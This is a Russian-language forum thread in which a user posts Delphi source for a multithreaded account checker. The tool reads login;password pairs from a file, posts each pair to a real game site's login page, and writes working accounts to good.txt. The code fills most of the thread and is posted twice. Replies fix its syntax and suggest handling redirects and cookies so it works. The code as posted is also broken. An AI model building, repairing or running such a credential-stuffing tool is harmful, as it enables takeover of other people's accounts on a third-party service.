Регистрация Главная Сообщество
Сообщения за день Справка Регистрация

ошибка в делфи

-

Вопросы и ответы, обсуждения

- Ваши вопросы по Pascal/Delphi только в данном разделе

Ответ
 
Опции темы
Старый 02.01.2013, 13:30   #1
 Разведчик
Аватар для sergey211194
 
sergey211194 никому не известный тип
Регистрация: 25.03.2011
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию ошибка в делфи

помогите пытаюсь скомпилировать и выдает ошибку в строке
if pos ('ывфыа'p.Text)>0 then
весь код,
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
StdCtrls, ComCtrls, Gauges, SyncObjs;

type
TForm1 = class(TForm)
Edit1: TEdit;
UpDown1: TUpDown;
Button1: TButton;
Label1: TLabel;
Label2: TLabel;
OpenDialog1: TOpenDialog;
GoodLabel: TLabel;
BadLabel: TLabel;
IdHTTP1: TIdHTTP;
Gauge1: TGauge;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

TNewThread = class(TThread)
private
FAcc : string;
FPas : string;
Rez : Integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;

var
Form1: TForm1;
Accounts:Tstringlist;
Thread, Acc:integer;
Work:boolean;
CS:TcriticalSection;
GoodFile, BadFile: textfile;

implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName);
if OpenDialog1.Execute then
begin
Accounts.Clear;
Accounts.LoadFromFile(OpenDialog1.FileName);
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
Rewrite(GoodFile);
Closefile(GoodFile);
Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
Rewrite(BadFile);
Closefile(BadFile);
GoodLabel.Caption:='0';
BadLabel.Caption:='0';
Gauge1.MaxValue:=Accounts.Count;
Gauge1.Progress:=0;
Acc:=-1;
Work:=true;
for Thread:=1 to strtoint(Edit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(Edit1.Text);
end;

procedure TNewThread.Execute;
var CurAcc:integer;
data:Tstringlist;
HTTP: TIdHTTP;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
CS.Leave;

if Work then
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));

data:=Tstringlist.create;
data.Add('userid='+FAcc);
data.Add('userpass='+FPas);
data.Add('submit=Войти');
HTTP:=TIdHTTP.create(nil);
HTTP.HandleRedirects:=false;
try
HTTP.Post('http://rivendell2.ru/index.php?s=login', data);
Rez:=-1;
except
if pos ('ывфыа'p.Text)>0 then
Rez:=1
else
Rez:=0;
end;
HTTP.Free;
data.Free;

Synchronize(Sync);
end;
end;

dec(Thread);
if Thread=0 then ShowMessage('OK');
end;

procedure TNewThread.Sync;
begin
case Rez of
0:begin
Accounts.Add(FAcc+';'+FPas);
end;
1:begin
Append(GoodFile);
Writeln(GoodFile,FAcc+';'+FPas);
Closefile(GoodFile);
Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.G oodLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
-1:begin
Append(BadFile);
Writeln(BadFile,FAcc+';'+FPas);
Closefile(BadFile);
Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.Ba dLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
end;
end;


procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Accounts.Free;
CS.Free;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Accounts:=Tstringlist.create;
CS:=TcriticalSection.create;
end;

end.
помогите , пожалуйста..

Добавлено через 2 минуты
Цитата:
Сообщение от sergey211194Посмотреть сообщение
помогите пытаюсь скомпилировать и выдает ошибку в строке
if pos ('ывфыа'p.Text)>0 then
весь код,
unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP,
StdCtrls, ComCtrls, Gauges, SyncObjs;

type
TForm1 = class(TForm)
Edit1: TEdit;
UpDown1: TUpDown;
Button1: TButton;
Label1: TLabel;
Label2: TLabel;
OpenDialog1: TOpenDialog;
GoodLabel: TLabel;
BadLabel: TLabel;
IdHTTP1: TIdHTTP;
Gauge1: TGauge;
Button2: TButton;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure Button2Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

TNewThread = class(TThread)
private
FAcc : string;
FPas : string;
Rez : Integer;
protected
procedure Execute; override;
public
procedure Sync;
constructor Create(CreateSuspended: Boolean);
end;

var
Form1: TForm1;
Accounts:Tstringlist;
Thread, Acc:integer;
Work:boolean;
CS:TcriticalSection;
GoodFile, BadFile: textfile;

implementation

{$R *.dfm}

constructor TNewThread.Create(CreateSuspended: Boolean);
begin
inherited Create(CreateSuspended);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
OpenDialog1.InitialDir:=ExtractFilePath(Applicatio n.ExeName);
if OpenDialog1.Execute then
begin
Accounts.Clear;
Accounts.LoadFromFile(OpenDialog1.FileName);
end;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
Assignfile(GoodFile, ExtractFilePath(Application.ExeName)+'good.txt');
Rewrite(GoodFile);
Closefile(GoodFile);
Assignfile(BadFile, ExtractFilePath(Application.ExeName)+'bad.txt');
Rewrite(BadFile);
Closefile(BadFile);
GoodLabel.Caption:='0';
BadLabel.Caption:='0';
Gauge1.MaxValue:=Accounts.Count;
Gauge1.Progress:=0;
Acc:=-1;
Work:=true;
for Thread:=1 to strtoint(Edit1.Text) do
TNewThread.Create(false);
Thread:=strtoint(Edit1.Text);
end;

procedure TNewThread.Execute;
var CurAcc:integer;
data:Tstringlist;
HTTP: TIdHTTP;
begin
while Work do
begin
CS.Enter;
Inc(Acc);
if Acc<Accounts.Count then CurAcc:=Acc else Work:=false;
CS.Leave;

if Work then
begin
FAcc:= Copy(Accounts[CurAcc],1,Pos(';',Accounts[CurAcc])-1);
FPas:= Copy(Accounts[CurAcc],Pos(';',Accounts[CurAcc])+1,Length(Accounts[CurAcc]));

data:=Tstringlist.create;
data.Add('userid='+FAcc);
data.Add('userpass='+FPas);
data.Add('submit=Войти');
HTTP:=TIdHTTP.create(nil);
HTTP.HandleRedirects:=false;
try
HTTP.Post('http://rivendell2.ru/index.php?s=login', data);
Rez:=-1;
except
if pos ('ывфыа'p.Text)>0 then
Rez:=1
else
Rez:=0;
end;
HTTP.Free;
data.Free;

Synchronize(Sync);
end;
end;

dec(Thread);
if Thread=0 then ShowMessage('OK');
end;

procedure TNewThread.Sync;
begin
case Rez of
0:begin
Accounts.Add(FAcc+';'+FPas);
end;
1:begin
Append(GoodFile);
Writeln(GoodFile,FAcc+';'+FPas);
Closefile(GoodFile);
Form1.GoodLabel.Caption:=IntToStr(StrToInt(Form1.G oodLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
-1:begin
Append(BadFile);
Writeln(BadFile,FAcc+';'+FPas);
Closefile(BadFile);
Form1.BadLabel.Caption:=IntToStr(StrToInt(Form1.Ba dLabel.Caption)+1);
Form1.Gauge1.Progress:=Form1.Gauge1.Progress+1;
end;
end;
end;


procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Accounts.Free;
CS.Free;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Accounts:=Tstringlist.create;
CS:=TcriticalSection.create;
end;

end.
помогите , пожалуйста..


P.S. набор буква просто введен , так я там другое слово ввожу , которое на сайте появляется при входе на аккаунт

Последний раз редактировалось sergey211194; 02.01.2013 в 13:32. Причина: Добавлено сообщение
  Ответить с цитированием
Старый 02.01.2013, 13:35   #2
Заблокирован
 Сержант
Аватар для Relli
 
Relli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известен
Регистрация: 19.01.2011
Сообщений: 168
Популярность: 485
Сказал(а) спасибо: 123
Поблагодарили 67 раз(а) в 48 сообщениях
 
По умолчанию Re: ошибка в делфи

ты запятую забыл:
if pos('ывфыа',p.Text) <> 0 then
  Ответить с цитированием
Старый 02.01.2013, 14:02   #3
 Разведчик
Аватар для sergey211194
 
sergey211194 никому не известный тип
Регистрация: 25.03.2011
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: ошибка в делфи

все равно ошибка..

Добавлено через 6 минут
вроде я какой то компонент пропустил что-ли читал искал но что-то я в коде пропустил похоже..

Последний раз редактировалось sergey211194; 02.01.2013 в 14:08. Причина: Добавлено сообщение
  Ответить с цитированием
Старый 02.01.2013, 14:25   #4
Заблокирован
 Сержант
Аватар для Relli
 
Relli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известенRelli скоро будет известен
Регистрация: 19.01.2011
Сообщений: 168
Популярность: 485
Сказал(а) спасибо: 123
Поблагодарили 67 раз(а) в 48 сообщениях
 
По умолчанию Re: ошибка в делфи

Ну правильно....
p.Text - это Tstringlist,а у тебя:
1.Он не создается ир не используется нигде
2.Даже в var'е не прописан
3.Get запрос у тебя записывается в data.Замени p.text на data.text
  Ответить с цитированием
Старый 02.01.2013, 14:30   #5
 Разведчик
Аватар для sergey211194
 
sergey211194 никому не известный тип
Регистрация: 25.03.2011
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: ошибка в делфи

всю полностью напишу
[DCC Error] Unit1.pas(118): E2003 Undeclared identifier: 'p'

Добавлено через 22 минуты
ещк к этой строке ошибки
[DCC Warning] Unit1.pas(118): W1058 Implicit string cast with potential data loss from 'string' to 'RawByteString'
[DCC Error] Unit1.pas(118): E2029 ')' expected but identifier 'Text' found
delphi 2010

Добавлено через 30 минут
data.Замени p.text на data.text
заменил но теперь программа все аккаунты кидает в bad даже рабочие , это чеккер вот только он что-то все в bad кидает

Последний раз редактировалось sergey211194; 02.01.2013 в 15:00. Причина: Добавлено сообщение
  Ответить с цитированием
Старый 02.01.2013, 15:50   #6
Бандеровец
 Лейтенант-командор
Аватар для VeTaL_UA
 
VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(VeTaL_UA сломал счётчик популярности :(
Регистрация: 12.08.2010
Сообщений: 727
Популярность: 30569
Золото Zhyk.Ru: 1
Сказал(а) спасибо: 57
Поблагодарили 645 раз(а) в 386 сообщениях
Отправить сообщение для VeTaL_UA с помощью ICQ Отправить сообщение для VeTaL_UA с помощью Skype™
 
По умолчанию Re: ошибка в делфи

sergey211194, советую вам не копировать чужой код. Выучите язык хотя бы на начальном уровне, а потом задавайте вопросы.
________________
Принимаются пожертвования любых размеров в фонд поддержки начинающих программистов
Кошельки: WMZ - Z276844220882; WMR - R231028582939; WMU - U394136909210; ЯД - 410011494605270.

Perfect World: PWDatabaseScanner, Client, PWNickRenamer, PWClientRenamer, База логинов PW, Гайд по варУ, Зарабатываем репутацию.
Delphi: Авторизация на сайте с помощью Indy, Загрузка изображений с интернета в TImage с помощью Indy, Автоматическая смена стандартной версии Indy в Delphi на Indy 10.0.76 / 10.1.5, Основы парсинга с помощью Indy, Делаем Updater до программы с помощью Indy.
Other: ShowIP, FFUUU смайлы в QIP, Как играть в Minecraft (видеокурс), Как мы захватили человечество :D, Энергия в Лицемер/TopFace, PasGen.


  Ответить с цитированием
Старый 02.01.2013, 19:15   #7
 Старший сержант
Аватар для Sinyss
 
Sinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака НоррисаSinyss троюродный дядя Чака Норриса
Регистрация: 29.07.2011
Сообщений: 197
Популярность: 8989
Сказал(а) спасибо: 45
Поблагодарили 175 раз(а) в 139 сообщениях
Отправить сообщение для Sinyss с помощью Skype™
 
По умолчанию Re: ошибка в делфи

Цитата:
Сообщение от sergey211194Посмотреть сообщение
заменил но теперь программа все аккаунты кидает в bad даже рабочие , это чеккер вот только он что-то все в bad кидает

Советую для начала сменить название темы. Ошибка не в делфи, а в пользователе...
  Ответить с цитированием
2 пользователя(ей) сказали cпасибо:
J-Fobos (02.01.2013), Relli (02.01.2013)
Старый 03.01.2013, 21:54   #8
 Разведчик
Аватар для Xenozite
 
Xenozite никому не известный тип
Регистрация: 09.12.2012
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: ошибка в делфи

Вообщем еще один тупой копипапс кода...
Берем снифер в руки и учим делфи заодно,а потом уже шлем запросы+заодно код,который написан,детально разобрать.Как говориться без труда не вытащишь и рыбку из пруда.
1)На редирект проверил?
2)Уверен что твое слово присутствует при правильной авторизации,а при фэйлах его нету?
3)Куки принимаем? ....и т.д.
Код нужно модернизировать под свой,а не копипапсить,заменять ссылки и думать что щас он заработает и я вкачу его за несколько сотен.
  Ответить с цитированием
Старый 03.01.2013, 22:36   #9
 Разведчик
Аватар для sergey211194
 
sergey211194 никому не известный тип
Регистрация: 25.03.2011
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
По умолчанию Re: ошибка в делфи

код то да , то что не мой я и не скрывал , и уже заметил , что касяков там дофига , со сниффером я более менее дружу а вот с delphi уж увы нифига не понимаю практически , а учить лень было) , и продавать не собираюсь руками просто логины пароли лень вводить потому, что их много , вот решил таким способом обойтись
  Ответить с цитированием
Старый 04.01.2013, 00:33   #10
 Разведчик
Аватар для Пиу Пиуу
 
Пиу Пиуу на правильном путиПиу Пиуу на правильном пути
Регистрация: 11.06.2012
Сообщений: 23
Популярность: 118
Сказал(а) спасибо: 53
Поблагодарили 49 раз(а) в 26 сообщениях
Отправить сообщение для Пиу Пиуу с помощью Skype™
 
По умолчанию Re: ошибка в делфи

Цитата:
Сообщение от sergey211194Посмотреть сообщение
со сниффером я более менее дружу а вот с delphi уж увы нифига не понимаю практически

так как ты с сниффером тогда подружился?
________________
Кто то играет на евро 7?
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Помогите!] Делфи Inok0 Общение и обсуждение 23 26.05.2011 00:31
[Помогите!] Бот на делфи Fizerator Вопросы и ответы, обсуждения 3 31.12.2010 18:45

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 21:08.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net